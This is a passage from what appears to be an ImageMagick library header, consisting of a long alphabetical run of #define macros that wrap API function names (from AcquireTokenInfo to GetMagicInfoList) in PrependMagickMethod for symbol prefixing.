PrependMagickMethod(AcquireTokenInfo) #define AcquireUniqueFilename PrependMagickMethod(AcquireUniqueFilename) #define AcquireUniqueFileResource PrependMagickMethod(AcquireUniqueFileResource) #define AcquireUniqueSymbolicLink PrependMagickMethod(AcquireUniqueSymbolicLink) #define AcquireVirtualCacheView PrependMagickMethod(AcquireVirtualCacheView) #define AcquireVirtualMemory PrependMagickMethod(AcquireVirtualMemory) #define ActivateSemaphoreInfo PrependMagickMethod(ActivateSemaphoreInfo) #define AdaptiveBlurImageChannel PrependMagickMethod(AdaptiveBlurImageChannel) #define AdaptiveBlurImage PrependMagickMethod(AdaptiveBlurImage) #define AdaptiveResizeImage PrependMagickMethod(AdaptiveResizeImage) #define AdaptiveSharpenImageChannel PrependMagickMethod(AdaptiveSharpenImageChannel) #define AdaptiveSharpenImage PrependMagickMethod(AdaptiveSharpenImage) #define AdaptiveThresholdImage PrependMagickMethod(AdaptiveThresholdImage) #define AddChildToXMLTree PrependMagickMethod(AddChildToXMLTree) #define AddNoiseImageChannel PrependMagickMethod(AddNoiseImageChannel) #define AddNoiseImage PrependMagickMethod(AddNoiseImage) #define AddPathToXMLTree PrependMagickMethod(AddPathToXMLTree) #define AddValueToSplayTree PrependMagickMethod(AddValueToSplayTree) #define AffineTransformImage PrependMagickMethod(AffineTransformImage) #define AffinityImage PrependMagickMethod(AffinityImage) #define AffinityImages PrependMagickMethod(AffinityImages) #define AllocateImageColormap PrependMagickMethod(AllocateImageColormap) #define AllocateImage PrependMagickMethod(AllocateImage) #define AllocateNextImage PrependMagickMethod(AllocateNextImage) #define AllocateSemaphoreInfo PrependMagickMethod(AllocateSemaphoreInfo) #define AllocateString PrependMagickMethod(AllocateString) #define analyzeImage PrependMagickMethod(analyzeImage) #define AnimateImages PrependMagickMethod(AnimateImages) #define AnnotateComponentGenesis PrependMagickMethod(AnnotateComponentGenesis) #define AnnotateComponentTerminus PrependMagickMethod(AnnotateComponentTerminus) #define AnnotateImage PrependMagickMethod(AnnotateImage) #define AppendImageFormat PrependMagickMethod(AppendImageFormat) #define AppendImages PrependMagickMethod(AppendImages) #define AppendImageToList PrependMagickMethod(AppendImageToList) #define AppendValueToLinkedList PrependMagickMethod(AppendValueToLinkedList) #define Ascii85Encode PrependMagickMethod(Ascii85Encode) #define Ascii85Flush PrependMagickMethod(Ascii85Flush) #define Ascii85Initialize PrependMagickMethod(Ascii85Initialize) #define AsynchronousResourceComponentTerminus PrependMagickMethod(AsynchronousResourceComponentTerminus) #define AttachBlob PrependMagickMethod(AttachBlob) #define AutoGammaImageChannel PrependMagickMethod(AutoGammaImageChannel) #define AutoGammaImage PrependMagickMethod(AutoGammaImage) #define AutoLevelImageChannel PrependMagickMethod(AutoLevelImageChannel) #define AutoLevelImage PrependMagickMethod(AutoLevelImage) #define AutoOrientImage PrependMagickMethod(AutoOrientImage) #define AutoThresholdImage PrependMagickMethod(AutoThresholdImage) #define AverageImages PrependMagickMethod(AverageImages) #define Base64Decode PrependMagickMethod(Base64Decode) #define Base64Encode PrependMagickMethod(Base64Encode) #define BilevelImageChannel PrependMagickMethod(BilevelImageChannel) #define BilevelImage PrependMagickMethod(BilevelImage) #define BlackThresholdImageChannel PrependMagickMethod(BlackThresholdImageChannel) #define BlackThresholdImage PrependMagickMethod(BlackThresholdImage) #define BlobToFile PrependMagickMethod(BlobToFile) #define BlobToImage PrependMagickMethod(BlobToImage) #define BlobToStringInfo PrependMagickMethod(BlobToStringInfo) #define BlueShiftImage PrependMagickMethod(BlueShiftImage) #define BlurImageChannel PrependMagickMethod(BlurImageChannel) #define BlurImage PrependMagickMethod(BlurImage) #define BorderImage PrependMagickMethod(BorderImage) #define BrightnessContrastImageChannel PrependMagickMethod(BrightnessContrastImageChannel) #define BrightnessContrastImage PrependMagickMethod(BrightnessContrastImage) #define CacheComponentGenesis PrependMagickMethod(CacheComponentGenesis) #define CacheComponentTerminus PrependMagickMethod(CacheComponentTerminus) #define CannyEdgeImage PrependMagickMethod(CannyEdgeImage) #define CanonicalXMLContent PrependMagickMethod(CanonicalXMLContent) #define CatchException PrependMagickMethod(CatchException) #define CatchImageException PrependMagickMethod(CatchImageException) #define ChannelImage PrependMagickMethod(ChannelImage) #define ChannelThresholdImage PrependMagickMethod(ChannelThresholdImage) #define CharcoalImage PrependMagickMethod(CharcoalImage) #define ChopImage PrependMagickMethod(ChopImage) #define ChopPathComponents PrependMagickMethod(ChopPathComponents) #define ClampImageChannel PrependMagickMethod(ClampImageChannel) #define ClampImage PrependMagickMethod(ClampImage) #define ClearExceptionInfo PrependMagickMethod(ClearExceptionInfo) #define ClearLinkedList PrependMagickMethod(ClearLinkedList) #define ClearMagickException PrependMagickMethod(ClearMagickException) #define ClipImagePath PrependMagickMethod(ClipImagePath) #define ClipImage PrependMagickMethod(ClipImage) #define ClipPathImage PrependMagickMethod(ClipPathImage) #define CloneBlobInfo PrependMagickMethod(CloneBlobInfo) #define CloneCacheView PrependMagickMethod(CloneCacheView) #define CloneDrawInfo PrependMagickMethod(CloneDrawInfo) #define CloneExceptionInfo PrependMagickMethod(CloneExceptionInfo) #define CloneImageArtifacts PrependMagickMethod(CloneImageArtifacts) #define CloneImageAttributes PrependMagickMethod(CloneImageAttributes) #define CloneImageInfo PrependMagickMethod(CloneImageInfo) #define CloneImageList PrependMagickMethod(CloneImageList) #define CloneImageOptions PrependMagickMethod(CloneImageOptions) #define CloneImage PrependMagickMethod(CloneImage) #define CloneImageProfiles PrependMagickMethod(CloneImageProfiles) #define CloneImageProperties PrependMagickMethod(CloneImageProperties) #define CloneImages PrependMagickMethod(CloneImages) #define CloneImageView PrependMagickMethod(CloneImageView) #define CloneKernelInfo PrependMagickMethod(CloneKernelInfo) #define CloneMagickPixelPacket PrependMagickMethod(CloneMagickPixelPacket) #define CloneMemory PrependMagickMethod(CloneMemory) #define CloneMontageInfo PrependMagickMethod(CloneMontageInfo) #define ClonePixelCacheMethods PrependMagickMethod(ClonePixelCacheMethods) #define ClonePixelCache PrependMagickMethod(ClonePixelCache) #define CloneQuantizeInfo PrependMagickMethod(CloneQuantizeInfo) #define CloneSplayTree PrependMagickMethod(CloneSplayTree) #define CloneStringInfo PrependMagickMethod(CloneStringInfo) #define CloneString PrependMagickMethod(CloneString) #define CloseBlob PrependMagickMethod(CloseBlob) #define CloseCacheView PrependMagickMethod(CloseCacheView) #define CloseMagickLog PrependMagickMethod(CloseMagickLog) #define ClutImageChannel PrependMagickMethod(ClutImageChannel) #define ClutImage PrependMagickMethod(ClutImage) #define CoalesceImages PrependMagickMethod(CoalesceImages) #define CoderComponentGenesis PrependMagickMethod(CoderComponentGenesis) #define CoderComponentTerminus PrependMagickMethod(CoderComponentTerminus) #define ColorComponentGenesis PrependMagickMethod(ColorComponentGenesis) #define ColorComponentTerminus PrependMagickMethod(ColorComponentTerminus) #define ColorDecisionListImage PrependMagickMethod(ColorDecisionListImage) #define ColorFloodfillImage PrependMagickMethod(ColorFloodfillImage) #define ColorizeImage PrependMagickMethod(ColorizeImage) #define ColorMatrixImage PrependMagickMethod(ColorMatrixImage) #define CombineImages PrependMagickMethod(CombineImages) #define CommandOptionToMnemonic PrependMagickMethod(CommandOptionToMnemonic) #define CompareHashmapStringInfo PrependMagickMethod(CompareHashmapStringInfo) #define CompareHashmapString PrependMagickMethod(CompareHashmapString) #define CompareImageChannels PrependMagickMethod(CompareImageChannels) #define CompareImageLayers PrependMagickMethod(CompareImageLayers) #define CompareImages PrependMagickMethod(CompareImages) #define CompareSplayTreeStringInfo PrependMagickMethod(CompareSplayTreeStringInfo) #define CompareSplayTreeString PrependMagickMethod(CompareSplayTreeString) #define CompareStringInfo PrependMagickMethod(CompareStringInfo) #define ComplexImages PrependMagickMethod(ComplexImages) #define CompositeImageChannel PrependMagickMethod(CompositeImageChannel) #define CompositeImage PrependMagickMethod(CompositeImage) #define CompositeLayers PrependMagickMethod(CompositeLayers) #define CompressImageColormap PrependMagickMethod(CompressImageColormap) #define ConcatenateColorComponent PrependMagickMethod(ConcatenateColorComponent) #define ConcatenateMagickString PrependMagickMethod(ConcatenateMagickString) #define ConcatenateStringInfo PrependMagickMethod(ConcatenateStringInfo) #define ConcatenateString PrependMagickMethod(ConcatenateString) #define ConfigureComponentGenesis PrependMagickMethod(ConfigureComponentGenesis) #define ConfigureComponentTerminus PrependMagickMethod(ConfigureComponentTerminus) #define ConfigureFileToStringInfo PrependMagickMethod(ConfigureFileToStringInfo) #define ConformMagickPixelPacket PrependMagickMethod(ConformMagickPixelPacket) #define ConnectedComponentsImage PrependMagickMethod(ConnectedComponentsImage) #define ConsolidateCMYKImages PrependMagickMethod(ConsolidateCMYKImages) #define ConstantString PrependMagickMethod(ConstantString) #define ConstituteComponentGenesis PrependMagickMethod(ConstituteComponentGenesis) #define ConstituteComponentTerminus PrependMagickMethod(ConstituteComponentTerminus) #define ConstituteImage PrependMagickMethod(ConstituteImage) #define ContinueTimer PrependMagickMethod(ContinueTimer) #define ContrastImage PrependMagickMethod(ContrastImage) #define ContrastStretchImageChannel PrependMagickMethod(ContrastStretchImageChannel) #define ContrastStretchImage PrependMagickMethod(ContrastStretchImage) #define ConvertHCLpToRGB PrependMagickMethod(ConvertHCLpToRGB) #define ConvertHCLToRGB PrependMagickMethod(ConvertHCLToRGB) #define ConvertHSBToRGB PrependMagickMethod(ConvertHSBToRGB) #define ConvertHSIToRGB PrependMagickMethod(ConvertHSIToRGB) #define ConvertHSLToRGB PrependMagickMethod(ConvertHSLToRGB) #define ConvertHSVToRGB PrependMagickMethod(ConvertHSVToRGB) #define ConvertHWBToRGB PrependMagickMethod(ConvertHWBToRGB) #define ConvertLCHabToRGB PrependMagickMethod(ConvertLCHabToRGB) #define ConvertLCHuvToRGB PrependMagickMethod(ConvertLCHuvToRGB) #define ConvertRGBToHCLp PrependMagickMethod(ConvertRGBToHCLp) #define ConvertRGBToHCL PrependMagickMethod(ConvertRGBToHCL) #define ConvertRGBToHSB PrependMagickMethod(ConvertRGBToHSB) #define ConvertRGBToHSI PrependMagickMethod(ConvertRGBToHSI) #define ConvertRGBToHSL PrependMagickMethod(ConvertRGBToHSL) #define ConvertRGBToHSV PrependMagickMethod(ConvertRGBToHSV) #define ConvertRGBToHWB PrependMagickMethod(ConvertRGBToHWB) #define ConvertRGBToLCHab PrependMagickMethod(ConvertRGBToLCHab) #define ConvertRGBToLCHuv PrependMagickMethod(ConvertRGBToLCHuv) #define ConvolveImageChannel PrependMagickMethod(ConvolveImageChannel) #define ConvolveImage PrependMagickMethod(ConvolveImage) #define CopyImagePixels PrependMagickMethod(CopyImagePixels) #define CopyMagickMemory PrependMagickMethod(CopyMagickMemory) #define CopyMagickString PrependMagickMethod(CopyMagickString) #define CreateMagickThreadKey PrependMagickMethod(CreateMagickThreadKey) #define CropImage PrependMagickMethod(CropImage) #define CropImageToTiles PrependMagickMethod(CropImageToTiles) #define CycleColormapImage PrependMagickMethod(CycleColormapImage) #define DecipherImage PrependMagickMethod(DecipherImage) #define DecodePixelGamma PrependMagickMethod(DecodePixelGamma) #define DeconstructImages PrependMagickMethod(DeconstructImages) #define DefineImageArtifact PrependMagickMethod(DefineImageArtifact) #define DefineImageOption PrependMagickMethod(DefineImageOption) #define DefineImageProperty PrependMagickMethod(DefineImageProperty) #define DefineImageRegistry PrependMagickMethod(DefineImageRegistry) #define DelegateComponentGenesis PrependMagickMethod(DelegateComponentGenesis) #define DelegateComponentTerminus PrependMagickMethod(DelegateComponentTerminus) #define DeleteImageArtifact PrependMagickMethod(DeleteImageArtifact) #define DeleteImageAttribute PrependMagickMethod(DeleteImageAttribute) #define DeleteImageFromList PrependMagickMethod(DeleteImageFromList) #define DeleteImageList PrependMagickMethod(DeleteImageList) #define DeleteImageOption PrependMagickMethod(DeleteImageOption) #define DeleteImageProfile PrependMagickMethod(DeleteImageProfile) #define DeleteImageProperty PrependMagickMethod(DeleteImageProperty) #define DeleteImageRegistry PrependMagickMethod(DeleteImageRegistry) #define DeleteImages PrependMagickMethod(DeleteImages) #define DeleteMagickRegistry PrependMagickMethod(DeleteMagickRegistry) #define DeleteMagickThreadKey PrependMagickMethod(DeleteMagickThreadKey) #define DeleteNodeByValueFromSplayTree PrependMagickMethod(DeleteNodeByValueFromSplayTree) #define DeleteNodeFromSplayTree PrependMagickMethod(DeleteNodeFromSplayTree) #define DescribeImage PrependMagickMethod(DescribeImage) #define DeskewImage PrependMagickMethod(DeskewImage) #define DespeckleImage PrependMagickMethod(DespeckleImage) #define DestroyBlob PrependMagickMethod(DestroyBlob) #define DestroyCacheView PrependMagickMethod(DestroyCacheView) #define DestroyConfigureOptions PrependMagickMethod(DestroyConfigureOptions) #define DestroyConstitute PrependMagickMethod(DestroyConstitute) #define DestroyDistributeCacheInfo PrependMagickMethod(DestroyDistributeCacheInfo) #define DestroyDrawInfo PrependMagickMethod(DestroyDrawInfo) #define DestroyExceptionInfo PrependMagickMethod(DestroyExceptionInfo) #define DestroyFxInfo PrependMagickMethod(DestroyFxInfo) #define DestroyHashmap PrependMagickMethod(DestroyHashmap) #define DestroyImageArtifacts PrependMagickMethod(DestroyImageArtifacts) #define DestroyImageAttributes PrependMagickMethod(DestroyImageAttributes) #define DestroyImageInfo PrependMagickMethod(DestroyImageInfo) #define DestroyImageList PrependMagickMethod(DestroyImageList) #define DestroyImageOptions PrependMagickMethod(DestroyImageOptions) #define DestroyImagePixels PrependMagickMethod(DestroyImagePixels) #define DestroyImage PrependMagickMethod(DestroyImage) #define DestroyImageProfiles PrependMagickMethod(DestroyImageProfiles) #define DestroyImageProperties PrependMagickMethod(DestroyImageProperties) #define DestroyImages PrependMagickMethod(DestroyImages) #define DestroyImageView PrependMagickMethod(DestroyImageView) #define DestroyKernelInfo PrependMagickMethod(DestroyKernelInfo) #define DestroyLinkedList PrependMagickMethod(DestroyLinkedList) #define DestroyLocaleOptions PrependMagickMethod(DestroyLocaleOptions) #define DestroyMagickMemory PrependMagickMethod(DestroyMagickMemory) #define DestroyMagick PrependMagickMethod(DestroyMagick) #define DestroyMagickRegistry PrependMagickMethod(DestroyMagickRegistry) #define DestroyMatrixInfo PrependMagickMethod(DestroyMatrixInfo) #define DestroyMontageInfo PrependMagickMethod(DestroyMontageInfo) #define DestroyPixelCacheNexus PrependMagickMethod(DestroyPixelCacheNexus) #define DestroyPixelCache PrependMagickMethod(DestroyPixelCache) #define DestroyQuantizeInfo PrependMagickMethod(DestroyQuantizeInfo) #define DestroyQuantumInfo PrependMagickMethod(DestroyQuantumInfo) #define DestroyRandomInfo PrependMagickMethod(DestroyRandomInfo) #define DestroyResampleFilter PrependMagickMethod(DestroyResampleFilter) #define DestroyResizeFilter PrependMagickMethod(DestroyResizeFilter) #define DestroySemaphoreInfo PrependMagickMethod(DestroySemaphoreInfo) #define DestroySignatureInfo PrependMagickMethod(DestroySignatureInfo) #define DestroySplayTree PrependMagickMethod(DestroySplayTree) #define DestroyStreamInfo PrependMagickMethod(DestroyStreamInfo) #define DestroyStringInfo PrependMagickMethod(DestroyStringInfo) #define DestroyStringList PrependMagickMethod(DestroyStringList) #define DestroyString PrependMagickMethod(DestroyString) #define DestroyThresholdMap PrependMagickMethod(DestroyThresholdMap) #define DestroyTimerInfo PrependMagickMethod(DestroyTimerInfo) #define DestroyTokenInfo PrependMagickMethod(DestroyTokenInfo) #define DestroyXMLTree PrependMagickMethod(DestroyXMLTree) #define DestroyXResources PrependMagickMethod(DestroyXResources) #define DestroyXWidget PrependMagickMethod(DestroyXWidget) #define DetachBlob PrependMagickMethod(DetachBlob) #define DisassociateBlob PrependMagickMethod(DisassociateBlob) #define DisassociateImageStream PrependMagickMethod(DisassociateImageStream) #define DiscardBlobBytes PrependMagickMethod(DiscardBlobBytes) #define DispatchImage PrependMagickMethod(DispatchImage) #define DisplayImages PrependMagickMethod(DisplayImages) #define DisposeImages PrependMagickMethod(DisposeImages) #define DistortImage PrependMagickMethod(DistortImage) #define DistortResizeImage PrependMagickMethod(DistortResizeImage) #define DistributePixelCacheServer PrependMagickMethod(DistributePixelCacheServer) #define DrawAffineImage PrependMagickMethod(DrawAffineImage) #define DrawClipPath PrependMagickMethod(DrawClipPath) #define DrawGradientImage PrependMagickMethod(DrawGradientImage) #define DrawImage PrependMagickMethod(DrawImage) #define DrawPatternPath PrependMagickMethod(DrawPatternPath) #define DrawPrimitive PrependMagickMethod(DrawPrimitive) #define DuplexTransferImageViewIterator PrependMagickMethod(DuplexTransferImageViewIterator) #define DuplicateBlob PrependMagickMethod(DuplicateBlob) #define DuplicateImages PrependMagickMethod(DuplicateImages) #define EdgeImage PrependMagickMethod(EdgeImage) #define EmbossImage PrependMagickMethod(EmbossImage) #define EncipherImage PrependMagickMethod(EncipherImage) #define EncodePixelGamma PrependMagickMethod(EncodePixelGamma) #define EnhanceImage PrependMagickMethod(EnhanceImage) #define EOFBlob PrependMagickMethod(EOFBlob) #define EqualizeImageChannel PrependMagickMethod(EqualizeImageChannel) #define EqualizeImage PrependMagickMethod(EqualizeImage) #define ErrorBlob PrependMagickMethod(ErrorBlob) #define EscapeString PrependMagickMethod(EscapeString) #define EvaluateImageChannel PrependMagickMethod(EvaluateImageChannel) #define EvaluateImage PrependMagickMethod(EvaluateImage) #define EvaluateImages PrependMagickMethod(EvaluateImages) #define ExceptionComponentGenesis PrependMagickMethod(ExceptionComponentGenesis) #define ExceptionComponentTerminus PrependMagickMethod(ExceptionComponentTerminus) #define ExcerptImage PrependMagickMethod(ExcerptImage) #define ExpandAffine PrependMagickMethod(ExpandAffine) #define ExpandFilename PrependMagickMethod(ExpandFilename) #define ExpandFilenames PrependMagickMethod(ExpandFilenames) #define ExportImagePixels PrependMagickMethod(ExportImagePixels) #define ExportQuantumPixels PrependMagickMethod(ExportQuantumPixels) #define ExtentImage PrependMagickMethod(ExtentImage) #define ExternalDelegateCommand PrependMagickMethod(ExternalDelegateCommand) #define ExtractSubimageFromImage PrependMagickMethod(ExtractSubimageFromImage) #define FileToBlob PrependMagickMethod(FileToBlob) #define FileToImage PrependMagickMethod(FileToImage) #define FileToStringInfo PrependMagickMethod(FileToStringInfo) #define FileToString PrependMagickMethod(FileToString) #define FileToXML PrependMagickMethod(FileToXML) #define FilterImageChannel PrependMagickMethod(FilterImageChannel) #define FilterImage PrependMagickMethod(FilterImage) #define FinalizeSignature PrependMagickMethod(FinalizeSignature) #define FlattenImages PrependMagickMethod(FlattenImages) #define FlipImage PrependMagickMethod(FlipImage) #define FloodfillPaintImage PrependMagickMethod(FloodfillPaintImage) #define FlopImage PrependMagickMethod(FlopImage) #define FormatImageAttributeList PrependMagickMethod(FormatImageAttributeList) #define FormatImageAttribute PrependMagickMethod(FormatImageAttribute) #define FormatImagePropertyList PrependMagickMethod(FormatImagePropertyList) #define FormatImageProperty PrependMagickMethod(FormatImageProperty) #define FormatLocaleFileList PrependMagickMethod(FormatLocaleFileList) #define FormatLocaleFile PrependMagickMethod(FormatLocaleFile) #define FormatLocaleStringList PrependMagickMethod(FormatLocaleStringList) #define FormatLocaleString PrependMagickMethod(FormatLocaleString) #define FormatMagickCaption PrependMagickMethod(FormatMagickCaption) #define FormatMagickSize PrependMagickMethod(FormatMagickSize) #define FormatMagickStringList PrependMagickMethod(FormatMagickStringList) #define FormatMagickString PrependMagickMethod(FormatMagickString) #define FormatMagickTime PrependMagickMethod(FormatMagickTime) #define FormatStringList PrependMagickMethod(FormatStringList) #define FormatString PrependMagickMethod(FormatString) #define ForwardFourierTransformImage PrependMagickMethod(ForwardFourierTransformImage) #define FrameImage PrependMagickMethod(FrameImage) #define FunctionImageChannel PrependMagickMethod(FunctionImageChannel) #define FunctionImage PrependMagickMethod(FunctionImage) #define FuzzyColorCompare PrependMagickMethod(FuzzyColorCompare) #define FuzzyColorMatch PrependMagickMethod(FuzzyColorMatch) #define FuzzyOpacityCompare PrependMagickMethod(FuzzyOpacityCompare) #define FxEvaluateChannelExpression PrependMagickMethod(FxEvaluateChannelExpression) #define FxEvaluateExpression PrependMagickMethod(FxEvaluateExpression) #define FxImageChannel PrependMagickMethod(FxImageChannel) #define FxImage PrependMagickMethod(FxImage) #define FxPreprocessExpression PrependMagickMethod(FxPreprocessExpression) #define GammaImageChannel PrependMagickMethod(GammaImageChannel) #define GammaImage PrependMagickMethod(GammaImage) #define GaussianBlurImageChannel PrependMagickMethod(GaussianBlurImageChannel) #define GaussianBlurImage PrependMagickMethod(GaussianBlurImage) #define GaussJordanElimination PrependMagickMethod(GaussJordanElimination) #define GenerateDifferentialNoise PrependMagickMethod(GenerateDifferentialNoise) #define GetAffineMatrix PrependMagickMethod(GetAffineMatrix) #define GetAuthenticIndexQueue PrependMagickMethod(GetAuthenticIndexQueue) #define GetAuthenticPixelCacheNexus PrependMagickMethod(GetAuthenticPixelCacheNexus) #define GetAuthenticPixelQueue PrependMagickMethod(GetAuthenticPixelQueue) #define GetAuthenticPixels PrependMagickMethod(GetAuthenticPixels) #define GetBlobError PrependMagickMethod(GetBlobError) #define GetBlobFileHandle PrependMagickMethod(GetBlobFileHandle) #define GetBlobInfo PrependMagickMethod(GetBlobInfo) #define GetBlobProperties PrependMagickMethod(GetBlobProperties) #define GetBlobSize PrependMagickMethod(GetBlobSize) #define GetBlobStreamData PrependMagickMethod(GetBlobStreamData) #define GetBlobStreamHandler PrependMagickMethod(GetBlobStreamHandler) #define GetCacheViewAuthenticIndexQueue PrependMagickMethod(GetCacheViewAuthenticIndexQueue) #define GetCacheViewAuthenticPixelQueue PrependMagickMethod(GetCacheViewAuthenticPixelQueue) #define GetCacheViewAuthenticPixels PrependMagickMethod(GetCacheViewAuthenticPixels) #define GetCacheViewChannels PrependMagickMethod(GetCacheViewChannels) #define GetCacheViewColorspace PrependMagickMethod(GetCacheViewColorspace) #define GetCacheViewException PrependMagickMethod(GetCacheViewException) #define GetCacheViewExtent PrependMagickMethod(GetCacheViewExtent) #define GetCacheViewIndexes PrependMagickMethod(GetCacheViewIndexes) #define GetCacheViewPixels PrependMagickMethod(GetCacheViewPixels) #define GetCacheView PrependMagickMethod(GetCacheView) #define GetCacheViewStorageClass PrependMagickMethod(GetCacheViewStorageClass) #define GetCacheViewVirtualIndexQueue PrependMagickMethod(GetCacheViewVirtualIndexQueue) #define GetCacheViewVirtualPixelQueue PrependMagickMethod(GetCacheViewVirtualPixelQueue) #define GetCacheViewVirtualPixels PrependMagickMethod(GetCacheViewVirtualPixels) #define GetClientName PrependMagickMethod(GetClientName) #define GetClientPath PrependMagickMethod(GetClientPath) #define GetCoderInfoList PrependMagickMethod(GetCoderInfoList) #define GetCoderInfo PrependMagickMethod(GetCoderInfo) #define GetCoderList PrependMagickMethod(GetCoderList) #define GetColorCompliance PrependMagickMethod(GetColorCompliance) #define GetColorInfoList PrependMagickMethod(GetColorInfoList) #define GetColorInfo PrependMagickMethod(GetColorInfo) #define GetColorList PrependMagickMethod(GetColorList) #define GetColorTuple PrependMagickMethod(GetColorTuple) #define GetCommandOptionFlags PrependMagickMethod(GetCommandOptionFlags) #define GetCommandOptions PrependMagickMethod(GetCommandOptions) #define GetConfigureBlob PrependMagickMethod(GetConfigureBlob) #define GetConfigureInfoList PrependMagickMethod(GetConfigureInfoList) #define GetConfigureInfo PrependMagickMethod(GetConfigureInfo) #define GetConfigureList PrependMagickMethod(GetConfigureList) #define GetConfigureOption PrependMagickMethod(GetConfigureOption) #define GetConfigureOptions PrependMagickMethod(GetConfigureOptions) #define GetConfigurePaths PrependMagickMethod(GetConfigurePaths) #define GetConfigureValue PrependMagickMethod(GetConfigureValue) #define GetDefaultOpenCLEnv PrependMagickMethod(GetDefaultOpenCLEnv) #define GetDelegateCommand PrependMagickMethod(GetDelegateCommand) #define GetDelegateCommands PrependMagickMethod(GetDelegateCommands) #define GetDelegateInfoList PrependMagickMethod(GetDelegateInfoList) #define GetDelegateInfo PrependMagickMethod(GetDelegateInfo) #define GetDelegateList PrependMagickMethod(GetDelegateList) #define GetDelegateMode PrependMagickMethod(GetDelegateMode) #define GetDelegateThreadSupport PrependMagickMethod(GetDelegateThreadSupport) #define GetDistributeCacheFile PrependMagickMethod(GetDistributeCacheFile) #define GetDistributeCacheHostname PrependMagickMethod(GetDistributeCacheHostname) #define GetDistributeCachePort PrependMagickMethod(GetDistributeCachePort) #define GetDrawInfo PrependMagickMethod(GetDrawInfo) #define GetElapsedTime PrependMagickMethod(GetElapsedTime) #define GetEnvironmentValue PrependMagickMethod(GetEnvironmentValue) #define GetExceptionInfo PrependMagickMethod(GetExceptionInfo) #define GetExceptionMessage PrependMagickMethod(GetExceptionMessage) #define GetExecutionPath PrependMagickMethod(GetExecutionPath) #define GetFirstImageInList PrependMagickMethod(GetFirstImageInList) #define GetGeometry PrependMagickMethod(GetGeometry) #define GetHeadElementInLinkedList PrependMagickMethod(GetHeadElementInLinkedList) #define GetImageAlphaChannel PrependMagickMethod(GetImageAlphaChannel) #define GetImageArtifact PrependMagickMethod(GetImageArtifact) #define GetImageAttribute PrependMagickMethod(GetImageAttribute) #define GetImageBoundingBox PrependMagickMethod(GetImageBoundingBox) #define GetImageChannelDepth PrependMagickMethod(GetImageChannelDepth) #define GetImageChannelDistortion PrependMagickMethod(GetImageChannelDistortion) #define GetImageChannelDistortions PrependMagickMethod(GetImageChannelDistortions) #define GetImageChannelEntropy PrependMagickMethod(GetImageChannelEntropy) #define GetImageChannelExtrema PrependMagickMethod(GetImageChannelExtrema) #define GetImageChannelFeatures PrependMagickMethod(GetImageChannelFeatures) #define GetImageChannelKurtosis PrependMagickMethod(GetImageChannelKurtosis) #define GetImageChannelMean PrependMagickMethod(GetImageChannelMean) #define GetImageChannelMoments PrependMagickMethod(GetImageChannelMoments) #define GetImageChannelPerceptualHash PrependMagickMethod(GetImageChannelPerceptualHash) #define GetImageChannelRange PrependMagickMethod(GetImageChannelRange) #define GetImageChannels PrependMagickMethod(GetImageChannels) #define GetImageChannelStatistics PrependMagickMethod(GetImageChannelStatistics) #define GetImageClipMask PrependMagickMethod(GetImageClipMask) #define GetImageClippingPathAttribute PrependMagickMethod(GetImageClippingPathAttribute) #define GetImageColorspaceType PrependMagickMethod(GetImageColorspaceType) #define GetImageDecoder PrependMagickMethod(GetImageDecoder) #define GetImageDepth PrependMagickMethod(GetImageDepth) #define GetImageDistortion PrependMagickMethod(GetImageDistortion) #define GetImageDynamicThreshold PrependMagickMethod(GetImageDynamicThreshold) #define GetImageEncoder PrependMagickMethod(GetImageEncoder) #define GetImageEntropy PrependMagickMethod(GetImageEntropy) #define GetImageException PrependMagickMethod(GetImageException) #define GetImageExtent PrependMagickMethod(GetImageExtent) #define GetImageExtrema PrependMagickMethod(GetImageExtrema) #define GetImageFromList PrependMagickMethod(GetImageFromList) #define GetImageFromMagickRegistry PrependMagickMethod(GetImageFromMagickRegistry) #define GetImageGeometry PrependMagickMethod(GetImageGeometry) #define GetImageHistogram PrependMagickMethod(GetImageHistogram) #define GetImageIndexInList PrependMagickMethod(GetImageIndexInList) #define GetImageInfoFile PrependMagickMethod(GetImageInfoFile) #define GetImageInfo PrependMagickMethod(GetImageInfo) #define GetImageKurtosis PrependMagickMethod(GetImageKurtosis) #define GetImageListIndex PrependMagickMethod(GetImageListIndex) #define GetImageListLength PrependMagickMethod(GetImageListLength) #define GetImageList PrependMagickMethod(GetImageList) #define GetImageListSize PrependMagickMethod(GetImageListSize) #define GetImageMagick PrependMagickMethod(GetImageMagick) #define GetImageMask PrependMagickMethod(GetImageMask) #define GetImageMean PrependMagickMethod(GetImageMean) #define GetImageOption PrependMagickMethod(GetImageOption) #define GetImagePixelCacheType PrependMagickMethod(GetImagePixelCacheType) #define GetImagePixels PrependMagickMethod(GetImagePixels) #define GetImageProfile PrependMagickMethod(GetImageProfile) #define GetImageProperty PrependMagickMethod(GetImageProperty) #define GetImageQuantizeError PrependMagickMethod(GetImageQuantizeError) #define GetImageQuantumDepth PrependMagickMethod(GetImageQuantumDepth) #define GetImageRange PrependMagickMethod(GetImageRange) #define GetImageReferenceCount PrependMagickMethod(GetImageReferenceCount) #define GetImageRegistry PrependMagickMethod(GetImageRegistry) #define GetImageTotalInkDensity PrependMagickMethod(GetImageTotalInkDensity) #define GetImageType PrependMagickMethod(GetImageType) #define GetImageViewAuthenticIndexes PrependMagickMethod(GetImageViewAuthenticIndexes) #define GetImageViewAuthenticPixels PrependMagickMethod(GetImageViewAuthenticPixels) #define GetImageViewException PrependMagickMethod(GetImageViewException) #define GetImageViewExtent PrependMagickMethod(GetImageViewExtent) #define GetImageViewImage PrependMagickMethod(GetImageViewImage) #define GetImageViewIterator PrependMagickMethod(GetImageViewIterator) #define GetImageViewVirtualIndexes PrependMagickMethod(GetImageViewVirtualIndexes) #define GetImageViewVirtualPixels PrependMagickMethod(GetImageViewVirtualPixels) #define GetImageVirtualPixelMethod PrependMagickMethod(GetImageVirtualPixelMethod) #define GetIndexes PrependMagickMethod(GetIndexes) #define GetLastImageInList PrependMagickMethod(GetLastImageInList) #define GetLastValueInLinkedList PrependMagickMethod(GetLastValueInLinkedList) #define GetLocaleExceptionMessage PrependMagickMethod(GetLocaleExceptionMessage) #define GetLocaleInfoList PrependMagickMethod(GetLocaleInfoList) #define GetLocaleInfo_ PrependMagickMethod(GetLocaleInfo_) #define GetLocaleList PrependMagickMethod(GetLocaleList) #define GetLocaleMessage PrependMagickMethod(GetLocaleMessage) #define GetLocaleOptions PrependMagickMethod(GetLocaleOptions) #define GetLocaleValue PrependMagickMethod(GetLocaleValue) #define GetLogEventMask PrependMagickMethod(GetLogEventMask) #define GetLogInfoList PrependMagickMethod(GetLogInfoList) #define GetLogList PrependMagickMethod(GetLogList) #define GetLogName PrependMagickMethod(GetLogName) #define GetMagicInfoList 